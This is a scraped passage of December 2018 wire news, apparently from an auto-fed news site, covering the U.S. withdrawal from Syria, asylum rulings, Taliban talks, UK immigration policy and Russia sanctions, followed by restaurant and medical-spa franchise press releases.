Kurdish YPG forces in the alliance as an extension of a separatist militant group fighting inside Turkey. Ankara is threatening a new offensive in Syria. To date, U.S. forces in Syria have been seen as a stabilizing factor and have somewhat restrained Turkey's actions against the SDF. A complete withdrawal of U.S. troops from Syria would leave a sizeable U.S. military presence in the region, including about 5,200 troops across the border in Iraq. Much of the U.S. campaign in Syria has been waged by warplanes flying out of Qatar and other locations in the Middle East. Still, Defense Secretary Jim Mattis and State Department officials have long fretted about leaving Syria before a peace agreement can be reached. Islamic State is also widely expected to revert to guerilla tactics once it no longer holds territory. The United States has not ruled out that Islamic State's leader Abu Bakr al-Baghdadi could still be alive. A U.S. withdrawal could open Trump up to criticism if Islamic State reemerged. Trump had lambasted Obama for the withdrawal of U.S. forces from Iraq that preceded an unravelling of the Iraqi armed forces. Iraqi forces collapsed in the face of Islamic State's advance into Iraq in 2014. A senior administration official rejected the comparison to Iraq, where the United States had many more troops and would have stayed if Baghdad had provided legal protections for the American forces. "That's an apples and oranges comparison given the scope and scale of our engagement in Iraq," the official said. LAST 1 PERCENT Islamic State declared its so-called "caliphate" in 2014 after seizing large swathes of Syria and Iraq. The hardline group established its de facto capital in the Syrian city of Raqqa, using it as a base to plot attacks in Europe. According to U.S. estimates, the group oversaw about 100,000 square kilometres (39,000 square miles) of territory, with about 8 million people under Islamic State control. It had estimated revenues of nearly one billion dollars a year. A senior U.S. official last week said the group was down to its last 1 percent of the territory it once held. It has no remaining territory in Iraq. Hajin, the group's last major stronghold in Syria, is close to being seized by U.S.-backed SDF forces. After losing Hajin, Islamic State will control a diminishing strip of territory along the eastern bank of the Euphrates River in the area where U.S.-backed operations are focused. Militants also control some desert terrain west of the river in territory otherwise controlled by the Damascus government and its allies. U.S. officials have warned that taking back the group's territory would not be the same as defeating it. "The Coalition has liberated the ISIS-held territory, but the campaign against ISIS is not over," Pentagon spokeswoman Dana White said in a statement. (Reporting by Phil Stewart and Idrees Ali; Additional reporting by Eric Beech, David Alexander, Doina Chiacu, Steve Holland and Roberta Rampton in Washington and Sarah Dadouch in Istanbul; Writing by Phil Stewart and Arshad Mohammed; Editing by Frances Kerry and Grant McCool) This story has not been edited by Firstpost staff and is generated by auto-feed. By Phil Stewart and Ellen Francis WASHINGTON/BEIRUT (Reuters) - The United States will likely end its air campaign against Islamic State in Syria when it pulls out troops, U.S. officials said on Thursday, as President Donald Trump defended the planned withdrawal against criticism from allies abroad and at home By Phil Stewart and Ellen Francis WASHINGTON/BEIRUT (Reuters) - The United States will likely end its air campaign against Islamic State in Syria when it pulls out troops, U.S. officials said on Thursday, as President Donald Trump defended the planned withdrawal against criticism from allies abroad and at home. NATO allies France and Germany said Washington's change of course on Syria risks damaging the fight against Islamic State, the militant group that had seized swathes of Iraq and Syria but has now been squeezed to a sliver of Syrian territory. Several of Trump's fellow Republicans in Congress, joined by opposition Democrats, urged the president to reverse course, saying the withdrawal would strengthen the hand of Russia and Iran in Syria and enable a resurgence of Islamic State. Trump, however, gave no sign of changing his mind and lashed out at Senator Lindsey Graham, a Republican who is sometimes an ally of the president but who has said a withdrawal would have "devastating consequences" for the United States. "So hard to believe that Lindsey Graham would be against saving soldier lives & billions of $$$," Trump tweeted. "Why are we fighting for our enemy, Syria, by staying & killing ISIS for them, Russia, Iran & other locals? Time to focus on our Country & bring our youth back home where they belong!" Trump's troop announcement on Wednesday upended a pillar of American policy in the Middle East and caused consternation in domestic and foreign critics who argued it would make it harder to find a diplomatic solution to Syria's seven-year civil war. France, a leading member of the U.S.-led coalition against Islamic State, said it would keep its troops in northern Syria for now and contested Trump's assertion that the group has been defeated in the country. "Islamic State has not been wiped from the map nor have its roots. The last pockets of this terrorist organisation must be defeated militarily once and for all," French Defence Minister Florence Parly said on Twitter. France has about 1,100 troops in Iraq and Syria providing logistics, training and heavy artillery support as well as fighter jets. In Syria it has dozens of special forces, military advisers and some foreign office personnel. Trump, however, tweeted that he was fulfilling a promise to leave Syria made during his presidential campaign and arguing that the United States was doing the work of other countries and it was "time for others to finally fight." Four U.S. officials, who spoke to Reuters on condition of anonymity due to the sensitivity of the issue, said the troop withdrawal is expected to mean an end to the U.S. air campaign against Islamic State in Syria. The U.S.-led air war has been vital to crushing the militants there and in neighbouring Iraq, with more than 100,000 bombs and missiles fired at targets in the two countries since 2015. Still, one U.S. official said a final decision on the air campaign had not been made and did not rule out some kind of support for partners and allies. The United States told the U.N. Security Council it was committed to the "permanent destruction" of Islamic State in Syria and would keep pushing for the withdrawal of Iranian-backed forces in the country. The roughly 2,000 U.S. troops in Syria, many of them special forces, were ostensibly helping to combat Islamic State but were also seen as a possible bulwark against Syrian President Bashar al-Assad, who has retaken much of the country from his foes in the civil war, with military help from Iran and Russia. The Kurdish-led Syrian Democratic Forces (SDF), which have been fighting Islamic State with U.S. support for three years, said the withdrawal of troops would let the militants regroup at a critical stage and leave Syrians stuck between "the claws of hostile parties" fighting for territory in the civil war. The SDF are in the final stages of a campaign to recapture areas seized by the militants. But they face the threat of a military incursion by Turkey, which considers the Kurdish YPG fighters who spearhead the force to be a terrorist group, and Syrian forces committed to restoring Assad's control over the whole country. The SDF said the battle against Islamic State had reached a decisive phase that required more support, not a precipitate U.S. withdrawal. THREAT ALIVE Islamic State declared a caliphate in 2014 after seizing parts of Syria and Iraq. The hardline group established its de facto capital in the Syrian city of Raqqa, using it as a base to plot attacks in Europe. According to U.S. estimates, the group oversaw about 100,000 square kms (39,000 square miles) of territory, with about 8 million people under its control and estimated revenues of nearly $1 billion a year. A senior U.S. official last week said the group was down to its last 1 percent of the territory it once held. It has no remaining territory in Iraq, although militants have resumed insurgent attacks since the group's defeat there last year. Russian President Vladimir Putin said he largely agreed with Trump that the group had been defeated in Syria but added there was a risk it could recover. He also questioned what Trump's announcement meant in practical terms, saying there was no sign yet of a withdrawal of U.S. forces, whose presence in Syria Moscow calls illegitimate. Israel will escalate its fight against Iranian-aligned forces in Syria after the withdrawal of U.S. troops, Prime Minister Benjamin Netanyahu said. While Turkey has not commented directly on Trump's decision, an end to the U.S.-Kurdish partnership will please Ankara. Kurdish militants east of the Euphrates in Syria "will be buried in their ditches when the time comes," state-owned Anadolu news agency reported Defence Minister Hulusi Akar as saying. Turkey has intervened to sweep YPG and Islamic State fighters from parts of northern Syria that lie west of the Euphrates over the past two years. It has not gone east of the river, partly to avoid direct confrontation with U.S. forces. (Additional reporting by Daren Butler in Istanbul, John Irish in Paris; Michelle Nichols at the United Nations, Dan Williams in Jerusalem and Mohammad Zargham in WashingtonWriting by Dominic Evans, Alistair Bell and Arshad Mohammed; Editing by Janet Lawrence, James Dalgleish, Frances Kerry and Cynthia Osterman) This story has not been edited by Firstpost staff and is generated by auto-feed. By Tom Hals (Reuters) - A U.S. judge on Wednesday struck down Trump administration policies aimed at restricting asylum claims by people citing gang or domestic violence in their home countries and ordered the U.S. By Tom Hals (Reuters) - A U.S. judge on Wednesday struck down Trump administration policies aimed at restricting asylum claims by people citing gang or domestic violence in their home countries and ordered the U.S. government to bring back six deported migrants to reconsider their cases. The ruling is the latest legal setback for the White House on immigration. Last month, a judge in San Francisco ordered a halt to a policy that prevented those entering illegally from Mexico from seeking asylum. The policy at the centre Wednesday's ruling sought to limit the ability of immigrants to fight expedited deportation by narrowing the grounds for claiming "credible fear" if they returned home, the first step in a long asylum process. The policy was challenged in a District of Columbia lawsuit brought by a dozen adults and children. U.S. Judge Emmet Sullivan said in a 107-page opinion the policy violated both immigration and administrative law. "And because it is the will of Congress - not the whims of the executive - that determines the standard for expedited removal, the court finds that those policies are unlawful," Sullivan wrote. In a statement, the Department of Justice said administration policies sought to follow Congress' requirement that asylum be limited to those with a fear of persecution based on their race, nationality, religion, political opinion or membership in a social group. The DOJ filed a request to stay the court's orders while the government appealed. Sullivan had not responded to that request. Sullivan, an appointee of U.S. President Bill Clinton, made headlines on Tuesday for his fierce criticism of Michael Flynn, President Donald Trump's former national security adviser, for lying to FBI agents. For the last three months of 2017, the most recent numbers, the government conducted about 6,000 credible fear interviews monthly. The vast majority passed those interviews, allowing them to make their case for asylum in front of a U.S. immigration judge. Jennifer Chang Newell, an American Civil Liberties Union attorney representing the asylum seekers, said the ruling "is a defeat for the Trump administrations all-out assault on the rights of asylum seekers." The ruling clears the way for four mothers and two children to be returned to the United States, she said. The administration has said that the asylum process is being abused by people who have frivolous claims but are able to stay in the country while their cases are being decided. In a separate case, U.S. District Judge John Tigar in San Francisco on Wednesday extended his previous order that blocked Trump's policy to bar those entering illegally from Mexico from seeking asylum. The preliminary injunction ordered by Tigar will remain in place while the litigation unfolds, unless the U.S. Supreme Court intervenes. Illegal crossings at the southern border have dropped dramatically since the late 1970s. But in recent years, applications for asylum have ballooned, and more Central American families and unaccompanied children are migrating to the United States. On Tuesday, the United States committed billions of dollars towards development in Central America and Mexico as part of a plan to curb illegal immigration. (Reporting by Tom Hals in Wilmington, Delaware; Additional reporting by Dan Levine in San Francisco; Editing by Cynthia Osterman) This story has not been edited by Firstpost staff and is generated by auto-feed. By Jibran Ahmad and Abdul Qadir Sediqi KABUL/PESHAWAR, Pakistan (Reuters) - U.S. and Taliban officials have discussed proposals for a six-month ceasefire in Afghanistan and a future withdrawal of foreign troops as talks aimed at setting up peace negotiations went into a second day, Taliban sources said By Jibran Ahmad and Abdul Qadir Sediqi KABUL/PESHAWAR, Pakistan (Reuters) - U.S. and Taliban officials have discussed proposals for a six-month ceasefire in Afghanistan and a future withdrawal of foreign troops as talks aimed at setting up peace negotiations went into a second day, Taliban sources said. The meeting in Abu Dhabi is at least the third time that U.S. special peace envoy Zalmay Khalilzad has met Taliban representatives as diplomatic efforts to end the 17-year war have intensified this year. Taliban officials, speaking on condition of anonymity, said the U.S. delegation was pressing for a six-month truce as well as an agreement to name Taliban representatives to a future caretaker government. However the Taliban negotiators were resisting the ceasefire proposal as they felt it would damage their cause and help U.S. and Afghan forces. There was no comment from the U.S. Embassy in Kabul. In a statement issued late on Tuesday, the Taliban said the talks had mainly concentrated on the "U.S. occupation", adding: "Nothing about interim government, ceasefire, election or other internal issues has been discussed". "Talks revolved around withdrawal of occupation forces from Afghanistan, ending the oppression being carried out by the United States and her allies," the movement's main spokesman Zabihullah Mujahid said in a separate statement. An Afghan government delegation travelled to the city and met Khalilzad as well as officials from Saudi Arabia, the United Arab Emirates and Pakistan. However, despite U.S. insistence that any peace settlement must be agreed between Afghans, the Taliban have refused to talk directly with officials from the Kabul government, which they consider an illegitimate, foreign-appointed regime. The Taliban, seeking to reimpose strict Islamic law after their 2001 overthrow, say the presence of international forces in Afghanistan is the main obstacle to peace. Even as the peace process gathers momentum, fighting has continued with heavy casualties on both sides. SENIOR OFFICIALS The latest round of diplomacy comes about a year after the United States sent thousands of extra troops to Afghanistan and stepped up air strikes to record levels, with the aim of pushing the Taliban into accepting negotiations. The Taliban delegation was led by Sher Mohammad Abbas Stanikzai, head of the movement's political office in Qatar, and included members of the leadership group based in Quetta, Pakistan and the chief of staff of Taliban leader Mullah Haibatullah Akhundzada. The presence in the delegation of senior officials close to the Taliban leader underscored the importance of the talks, which are shaping up as the most serious attempt to open negotiations since at least 2015. "It's a well coordinated meeting where members from the political commissions and Quetta shura are both participating for the first time," said one peace activist in close contact with the Taliban side at the meeting. An Afghan government team travelled to Abu Dhabi "to begin proximity dialogue with the Taliban delegation and to prepare for a face-to-face meeting between the two sides", government spokesman Haroon Chakansuri said in a statement. But there was no sign from the Taliban they were ready to accept talks with the government, and the Kabul delegation were based in an Abu Dhabi hotel away from the location of the talks. The United States says the aim of the talks is to facilitate an Afghan-led process and the inclusion of Saudi Arabia, the UAE and Pakistan in the talks reflects a U.S. desire to bring in countries with an interest in Afghanistan. Previous meetings were held in Qatar, where the Taliban maintains a political office, but a push to include Saudi Arabia, which is hostile to the gas-rich Gulf state, prompted a change of venue to Abu Dhabi. (Reporting by Jibran Ahmad in PESHAWAR, Abdul Qadir Sediqi, James Mackenzie; Editing by Robert Birsel and Mark Heinrich) This story has not been edited by Firstpost staff and is generated by auto-feed. The UK's future skills-based immigration system, tabled in the House of Commons by UK Home Secretary Sajid Javid, removes any cap on highly-skilled migrants from anywhere in the world and improves the post-study work offering for international students. London: A UK government White Paper on its post-Brexit visas and immigration strategy unveiled in Parliament on Wednesday is expected to benefit Indian students and professionals, with a focus on skills rather than country of origin. The UK's future skills-based immigration system, tabled in the House of Commons by UK Home Secretary Sajid Javid, removes any cap on highly-skilled migrants from anywhere in the world and improves the post-study work offering for international students. The proposals, set to be phased in from December 2021 after the proposed transition period for Britain's exit from the European Union (EU), claim to level the country's immigration playing field with the end of free movement for people from within the 28-member economic bloc. "As we leave the European Union, free movement will endThis will be a system where it is workers' skills that matter, not which country they come from," British Prime Minister Theresa May said in her foreword to the strategy. "We are taking a skills-based approach to ensure we can attract the brightest and best migrants to the UK," added Javid, who made a reference to his own Pakistani origins as the "son of immigrant parents". Under the new proposals, an annual cap of 20,700 on the number of skilled work visas issued will be removed, likely to benefit doctors and IT professionals from India, among others. There will also be a new 12-month visa route for workers at any skill level for a temporary period to allow businesses to hire the staff they need on a time-bound basis. "People arriving on this route will not be able to bring family members with them, won't accrue rights to settle in the UK and will have a 12-month cooling off period once their visa expires," the UK Home Office said. The onerous requirement for labour market tests by employers wanting to sponsor an overseas skilled worker are also to be done away with. The plans were broadly welcomed by the Confederation of Indian Industry (CII), which said the White Paper recognises the value offered by skilled workers from countries like India. "Indian Industry has long called for a fair, transparent and skills-based immigration system, and today's proposals go some way to achieving these goals, said Jim Bligh, of Tata Consultancy Services (TCS) and Chair of CII's UK India Business Forum. "Tackling the UK's skills gaps, particularly in digital and technology, must remain a key focus for government and it is welcome that this paper recognises the value that skilled workers from overseas can bring to helping improve the UK's skills base, he said. Under changes proposed to attract international students to the UK, the government said it would "improve the current offer" to those who have completed a degree who want to stay on in the UK to work after they have completed their studies by offering six months' post-study leave to all Master's students and Bachelor's students studying at an institution with degree-awarding powers. This is aimed at giving them more time to find permanent skilled work and to work temporarily during that period. "We will also allow for students studying at Bachelor's level or above to be able to apply to switch into the skilled workers route up to three months before the end of their course in the UK, and from outside of the UK for two years after their graduation," the White Paper notes. Universities UK International, the representative group for the country's higher education institutions which has been campaigning for a better post-study offer, said the proposals recognise the important contributions made by international students to the UK. "Allowing graduates to stay on for longer to find work in the UK sends the message that international students are welcome here, and we value the skills they bring. These changes will have a real, positive impact on the students who come here to study and their opportunities after graduating," said Vivienne Stern, Director of Universities UK International. However, the group added that it will continue to campaign for a longer two-year post-study work visa. As part of some of the more contentious aspects of the new immigration White Paper, the government will hold a consultation on a minimum salary requirement of 30,000 pounds for skilled migrants seeking five-year visas and low-skilled workers may be able to apply for short-term visas of up to a year. The document forms the basis for the Immigration and Social Security Coordination (EU Withdrawal) Bill, to be published on Thursday, which ends free movement for EU nationals and creates the legal framework for a future UK borders and immigration system after Brexit. It also creates parity in the way migrants can access the country's benefits system, which will apply equally to both EU and non-EU nationals. The new system will be implemented in a phased approach from 2021, following an extensive 12-month programme of engagement with businesses, stakeholders and the public, the Home Office said. While it does not make a specific reference to the ruling Conservative Party's manifesto pledge to bring immigration down to the tens of thousands annually, the government stressed that the target remains in place. The US will continue to work with international allies to take collective action to defend against sustained malign activity by Russia, its proxies, and intelligence agencies, Treasury Secretary Steven Mnuchin said Washington: The Treasury Department imposed new sanctions against 15 Russians over hacking, interference in US elections and a nerve agent attack in England. In a separate action, the agency also announced plans to lift sanctions on the aluminium manufacturing giant Rusal. It comes after the department approved a plan that severed Russian oligarch Oleg Deripaska's control of the company. The sanctions imposed on Wednesday include actions against nine Russian intelligence officers who were indicted over the summer and are accused of hacking into Hillary Clinton's presidential campaign and the Democratic Party and releasing tens of thousands of private communications. The case against them was brought by special counsel Robert Mueller, whose office is investigating Russian interference in the 2016 election. The Treasury Department said Russia's "continued disregard for international norms" necessitated the sanctions. "The United States will continue to work with international allies and partners to take collective action to deter and defend against sustained malign activity by Russia, its proxies, and intelligence agencies," Treasury Secretary Steven Mnuchin said in a statement. Sanctions were also levied against Alexander Petrov and Ruslan Boshirov, who have been charged by British officials with the botched assassination attempt on former Russian spy Sergei Skripal. Russian president Vladimir Putin has dismissed any insinuation his government was involved in the attack and has said Russia had no reason to attack Skripal. The sanctions were also imposed on Elena Alekseevna Khusyaynova, who was charged by the Justice Department in October with running a Russian troll farm that prosecutors say was aimed at sowing division between Americans and interfering in the 2018 midterm elections. The sanctions would mean that any assets the targets have in the US could be frozen, and US companies and banks are generally prohibited from doing business with them. The White House's assertion came after Trump claimed the US has 'defeated' the Islamic State group in Syria Washington: President Donald Trump's decision to withdraw US troops from Syria is consistent with his policy that the main objective of American forces in the war-torn country was to destroy the IS and not to resolve the civil war, the White House has said as it defended the move criticised by many as "premature'. The White House's assertion came after Trump claimed the US has "defeated" the Islamic State group in Syria. A White House official announced on Wednesday that the US has started withdrawing American troops from the country. The decision, a sharp reversal from previously stated US policy, surprised foreign allies and lawmakers. Many analysts believe that a withdrawal of ground forces will please US enemies by clearing the way in Syria for the Assad regime, Russia and Iran. The Wall Street Journal described it as an abrupt decision by the Trump administration. Currently, there are about 2,000 US forces in Syria. "We have defeated ISIS in Syria, my only reason for being there during the Trump Presidency," Trump tweeted on Wednesday. White House Press Secretary Sarah Sanders said that "victories over IS in Syria do not signal the end of the Global Coalition or its campaign". "We have started returning United States troops home as we transition to the next phase of this campaign," she added. "The United States and our allies stand ready to re-engage at all levels to defend American interests whenever necessary, and we will continue to work together to deny radical Islamist terrorists' territory, funding, support and many means of infiltrating our borders." A senior administration official, who spoke on condition of anonymity, told reporters in a conference call that Trump, over the past two years, has clearly declared that the US is not going into Syria to resolve the civil war. "What we were going in to do was to destroy the territorial caliphate, which he referred to as 'IS in Syria', very specifically," the official said. Speaking a few hours after the decision was announced, the official left the timeline of withdrawal to the Pentagon, which declined to give any comment immediately. "We are under no illusion that it means IS writ-large or the scourge of Sunni radical terrorism has in some way gone away," the official said. Trump's decision attracted criticism from leaders of his own Republican party, who argued that such a hasty decision would endanger American national security in the long run. Republican Senator Marco Rubio said the full and rapid withdrawal of US troops from Syria is a grave error with broader implications beyond just the fight against IS group. "The president's tweet is dangerous, premature and wholly inconsistent with the facts on the ground in Syria and our military's advice. I have travelled to Syria to review our mission, and our military has performed well beyond expectations," said Senator Jeanne Shaheen. The administration official, however, argued that Trump has been consistent in his views on Syria. "I will say the president's statements on this topic has been 100 percent consistent from the campaign through his announcement today. And so, I think the notion that anyone within the administration was caught unaware, I would challenge that, quite frankly. And it was the president's decision to make, and he made it," the official said. The official acknowledged that several lawmakers at the Capitol Hill disagree with the decision. "The senators obviously have been working on this issue, as well, for many years. They have their opinions." Responding to questions, the official said this was "purely Trump's decision" and he did not consult with his Turkish counterpart on the issue. "It was not something he discussed with President (Recep Tayyip) Erdogan. He has informed President Erdogan of his decision. As a neighbour of Syria, obviously it's going to be an important issue for Turkey. But this was not a topic of discussion. It was informational," the official said. The official also asserted that the US troops in Syria were to fight and defeat ISIS and not to fight Iran. "The troops that we had in Syria were never there to counter, fight Iran. They were always there to destroy the territorial caliphate of ISIS." Putin reaffirmed the long-held Russian argument that the US presence in Syria is illegitimate because it hasn't been vetted by the UN Security Council or approved by Syrian President Bashar Assad's government. Beirut (Lebanon): Russian President Vladimir Putin has welcomed the US decision to withdraw its forces from Syria. Speaking Thursday at his annual news conference, Putin said he agrees with US President Donald Trump, who had said Wednesday that the defeat of the Islamic State (IS) group removes the need for the US military presence in the country. Putin reaffirmed the long-held Russian argument that the US presence in Syria is illegitimate because it hasn't been vetted by the UN Security Council or approved by Syrian President Bashar Assad's government. Putin added that "if the US decided to withdraw its contingent, it has done the right thing." Russia is a key ally of Assad, and its military intervention beginning in 2015 turned the tide of the war in his favour. The Russian leader says it remains to be seen if the US carries out its intention, noting Washington's repeated promises to end its 17-year presence in Afghanistan. The Islamic State (IS) group has been 'beaten' in Syria, US President Donald Trump declared Wednesday, as he confirmed his stunning order to pull American ground forces from the war-ravaged nation. Washington: The Islamic State (IS) group has been "beaten" in Syria, US President Donald Trump declared Wednesday, as he confirmed his stunning order to pull American ground forces from the war-ravaged nation. The momentous decision to withdraw, which runs counter to long-established US policy for Syria and the region, blindsided lawmakers, the Pentagon and international allies alike. "We've won against ISIS," Trump said in a short video posted on Twitter. "We've beaten them and we've beaten them badly. We've taken back the land. And now it's time for our troops to come back home." After historic victories against ISIS, its time to bring our great young people home! pic.twitter.com/xoNjFzQFTp Donald J. Trump (@realDonaldTrump) December 19, 2018 A withdrawal could have extraordinary geopolitical ramifications, and plunges into uncertainty the fate of US-backed Kurdish fighters who have been tackling Islamic State jihadists, thousands of whom are thought to remain in Syria. A US official told AFP that Trump's decision was finalised on Tuesday. "Full withdrawal, all means all," the official said when asked if the troops would be pulled from across Syria. Currently, about 2,000 US forces are in the country, most of them on a train-and-advise mission to support local forces fighting IS. Pentagon officials scrambled for a reaction after Trump earlier tweeted that IS had been "defeated." A spokeswoman eventually said the defence department had "started the process" of bringing troops home. Lawmakers assailed Trump's decision, saying it could embolden Ankara to attack US-backed Kurdish fighters. Republican Senator Lindsey Graham, a Trump ally, said the president's decision was unwise and put the Kurds "at risk," while Democratic Senator Jack Reed said it amounted to a "betrayal" of the Kurds that "provides further evidence of President Trump's inability to lead on the world stage." Most US troops are stationed in northern Syria, though a small contingent is based at a garrison in Al-Tanaf, near the Jordanian and Iraqi borders. Trump has previously voiced scepticism about the US presence in Syria, saying in March he wanted to bring troops home "soon". However, military advisors and international allies warned Trump against a precipitous pullout, and he later acquiesced to an indefinite Syria mission. The US official would not provide a withdrawal timeline, saying only it would come "as quickly as possible." White House spokeswoman Sarah Sanders said the US-led coalition that includes dozens of nations would continue fighting the jihadists. "These victories over ISIS in Syria do not signal the end of the Global Coalition or its campaign," Sanders said in a statement. The Pentagon refused to say what effect the troop withdrawal would have on air operations in Syria. These have been ongoing since late 2014. A senior administration official, made available by the White House, said Trump's decision was consistent with comments he has made for years. "The notion that anyone within the administration was caught unaware, I would challenge that," the official said, adding that "it was the president's decision to make, and he made it." Fate of Kurdish fighters? A large contingent of the main US-backed, anti-IS fighting force in Syria, an alliance known as the Syrian Democratic forces (SDF), is Kurdish. Turkey terms it a "terrorist" group. Ankara has said it plans to launch an operation against the Kurdish militia, known as the YPG (Kurdish People's Protection Units). While the YPG has spearheaded Washington's fight against IS, US support has strained relations between the NATO allies. In a sign of possible rapprochement, the State Department said it had approved the $3.5 billion sale of Patriot missiles and associated equipment to Turkey. The US decision to withdraw from Syria marks a remarkable development not just for the Kurds, but for years-old US doctrine in the region. Only last week, Brett McGurk, the special envoy to defeat IS, said "nobody is declaring a mission accomplished." "If we've learned one thing over the years, enduring defeat of a group like (IS) means you can't just defeat their physical space and then leave," he said. 'Short-sighted and naive' A government spokesman for Britain, which has long supported the anti-IS campaign in Syria, said "much remains to be done" against the jihadists. "We must not lose sight of the threat they pose. Even without territory, (IS) will remain a threat," a statement read. Australian prime minister Scott Morrison, who was on a pre-Christmas visit to troops stationed in Iraq, highlighted the work of the coalition and its "ongoing commitment to fighting Da'esh and its sympathizers," referring to the IS group. A US presence in Syria is seen as key to pushing against Russian and Iranian influence. Pro-Iran militias have supported Syrian President Bashar al-Assad, and Moscow in 2015 intervened in the conflict to prop him up. Charles Lister, a senior fellow at the Middle East Institute, called the decision "extraordinarily short-sighted and naive." "This is not just a dream scenario for ISIS, but also for Russia, Iran and the Assad regime, all of whom stand to benefit substantially from a US withdrawal," Lister said. IS jihadists swept across large swaths of Syria and neighbouring Iraq in 2014, implementing their brutal interpretation of Islamic law in areas they controlled. But they have since seen their dream of a state crumble, as they have lost most of that territory to various offensives. In Syria, IS fighters are holding out in what remains of the pocket that once included Hajin, including the villages of Al-Shaafa and Sousa. The search for alternative proteins has never been stronger as Wageningen University & Research (WUR) estimates that by 2050, 30 to 40 percent more protein will be... Read More Black Bear Diner Opens in Montana, Marking 12th State; Also Opens New California Restaurant New franchise unit in Great Falls, Mont. and corporate unit in Moreno Valley, Calif. bring Black Bear Diners total restaurant count to 120 REDDING, Calif. - (BUSINESS WIRE) - December 19, 2018 - Black Bear Diner, the fast-growing, family dining concept that offers a one-of-a-kind experience and home-style comfort food classics in a friendly, bear-themed atmosphere, announced it has entered into its 12th state with its first unit opening in Montana, located in Great Falls. Black Bear Diner has also opened a new restaurant in Southern California in the Moreno Valley area on Wednesday, Dec. 19. The openings mark the latest milestones on the brands growth trajectory and bring Black Bear Diners total unit count to 120. Black Bear Diner will have opened 15 new units by the end of this year as the company continues to successfully execute on its strategic plan to expand eastward. The brand has been frequently recognized for its performance, including being named one of the countrys Top 10 Fastest-Growing chains by Nations Restaurant News and one of the Smartest-Growing Brands by Franchise Times. Details on the two new units are as follows: Great Falls, Mt. Black Bear Diners first Montana unit is franchised-owned and located at 1400 Market Place Drive in Great Falls. The 7,386 square-foot diner seats 263 guests and opened on Monday. Dec. 17. Black Bear Diners first Montana unit is franchised-owned and located at 1400 Market Place Drive in Great Falls. The 7,386 square-foot diner seats 263 guests and opened on Monday. Dec. 17. Moreno Valley, Calif. Located at 24949 Sunnymead Boulevard, this 5,514 square-foot restaurant seats up to 125 guests and will be open from 6:00 a.m. to 10:00 p.m. daily, starting Dec. 19. The unit is corporate owned and marks the brands 58th restaurant in California. Both restaurants will hire as many as 80 employees each, creating job opportunities for local residents. Our two newest restaurants dont look much different than the first restaurant we opened in 1995, and we still offer the same delicious burgers, meatloaf, chicken-fried steak and other comfort food classics that our guests have come to love, said Black Bear Diner Co-Founder and Chief Executive Officer Bruce Dean. Black Bear Diner is excited to open new restaurants in Montana and our home state of California, and we look forward to introducing our style of delicious food and genuine hospitality to new guests in both areas. Frequently recognized as one of the countrys fastest-growing franchises and a disruptor in the family-dining segment, Black Bear Diner has been acknowledged for its growth and performance, especially compared to numerous competitive brands. The companys strategic plans call for further expansion east of the Rocky Mountains in 2019. With the opening of the Moreno Valley diner, Black Bear Diner will have opened 15 units by the end of 2018. For more information on Black Bear Diner and its menu offerings visit www.blackbeardiner.com. About Black Bear Diner Founded in Mt. Shasta, Calif., in 1995, Black Bear Diner was born from a desire to bring home-style comfort food classics and personal service back to the dining experience. The family dining concept offers a vast menu anchored on hearty portions and excellent value. The franchise has grown to 120 locations in 12 states. Black Bear Diner is consistently ranked by restaurant industry observers as one of the smartest growing brands. For a full menu and additional information, please visit blackbeardiner.com. Media Contact: Tim Streeb ICR 646-277-1200 Tim.Streeb@icrinc.com SOURCE Black Bear Diner ### Comments: Please enable JavaScript to view the comments powered by Disqus. Disqus LAs Wellness Center to the Stars Looks to Northern California as Part of Next Expansion Wave Beverly Hills Rejuvenation Center targets the Bay Area as part of regional expansion efforts December 20, 2018 // Franchising.com // LOS ANGELES - Beverly Hills Rejuvenation Center (BHRC), Hollywoods secret weapon in the fight against aging, is looking to continue its expansion throughout its home state of California. Already established as one of Americas most widely respected leaders in age management and wellness, the Los Angeles-based franchise plans to span its footprint further up the West Coast. With two locations open and operating in California, company plans call for an expansion into the Bay Area over the next several years. While there are no set locations, Co-Founders Devin Haman and Dan Holtz believe that several metro areas would be ideal to establish Beverly Hills Rejuvenation Center, including: San Francisco, Santa Clara, Sonoma, Napa and more. The company believes that the Bay Area can hold up to six clinical spas. For over a decade, BHRC has been refreshing the faces of LAs top celebrities and style-conscious residents. We have clients upstate who regularly make trips down the coast to our Los Angeles and New Port spas to receive treatment, said Devin Haman, who co-founded Beverly Hills Rejuvenation Center in 2005 with long-time friend Dan Holtz. With proven success in Southern California, we look forward to making our winning services more accessible to other parts of California, beginning with the Bay Area. Known for its advanced techniques and pioneering treatments, BHRC offers affordable, transformational and non-invasive services such as laser treatments, facial treatments, hormone replacement, weight loss and injectables. Other innovative treatments include coolsculpting, body contouring, hair restoration and vaginal rejuvenation Today, BHRC has quickly become the go-to medical spa for celebrities such as international model and star of Bravos Real Housewives of Miami, Joanna Krupa; television and film actor, Dean Caine; and legendary actress, Morgan Fairchild; among others. Caine has described BHRC as his fountain of youth, while Krupa vows BHRC is The only place I go to look and feel great. At BHRC, we pride ourselves on improving the health and appearance of our clients, while providing them a more enjoyable and fulfilling life. While BHRC continues to see tremendous growth nationally, were excited to continue expanding our footprint regionally as well, noted Holtz. Weve seen first-hand the profound difference treatments have made in our patients lives, and hope to improve the lives of countless others as we execute plans to establish BHRC in the Bay Area. Beverly Hills Rejuvenation Centers are beautifully designed and spacious, and occupy approximately 2,000 square feet of Class A retail space in high traffic, high visibility locations. Each center operates under the direct supervision of a physician. In some situations the franchisee is also the Licensed, Supervising Physician, however that is not a requirement of franchise ownership. Including a franchise fee of $50,000, the estimated initial investment to open a BHRC franchise ranges from $540,000 to $881,000. Today, there are 12 locations servicing clients in five states (California, Arizona, Texas, Nevada and Florida), with nearly a dozen more in various stages of development. Company plans call for having as many as 100 total locations open in the next five years. About Beverly Hills Rejuvenation Center Founded in 2005 and franchising since 2017, Beverly Hills Rejuvenation Center (BHRC) has quickly become one of the nations leaders in age management and wellness, as well as a go-to medical spa for celebrities such as international model and star of Bravos Real Housewives of Miami, Joanna Krupa; television and film actor, Dean Caine; and television actress, Morgan Fairchild; among others. Known for its advanced techniques and pioneering treatments, BHRC offers affordable, transformational and non-invasive services such as laser treatments, facial treatments, hormone replacement, medical peels and injectables. BHRC also offers innovative treatments such as cool sculpting, body contouring, hair restoration and vaginal rejuvenation. Today, there are 12 locations servicing clients in five states, with nearly a dozen more in various stages of development. For more information, visit www.bhrcenter.com. Media Contact: Gabriela Gutierrez Franchise Elevator PR (847) 239-8171 ggutierrez@franchiseelevator.com SOURCE Beverly Hills Rejuvenation Center ### Comments: Please enable JavaScript to view the comments powered by Disqus. Disqus The Dickey Foundation Outfits Dallas Police Department with Ballistic Armor December 20, 2018 // 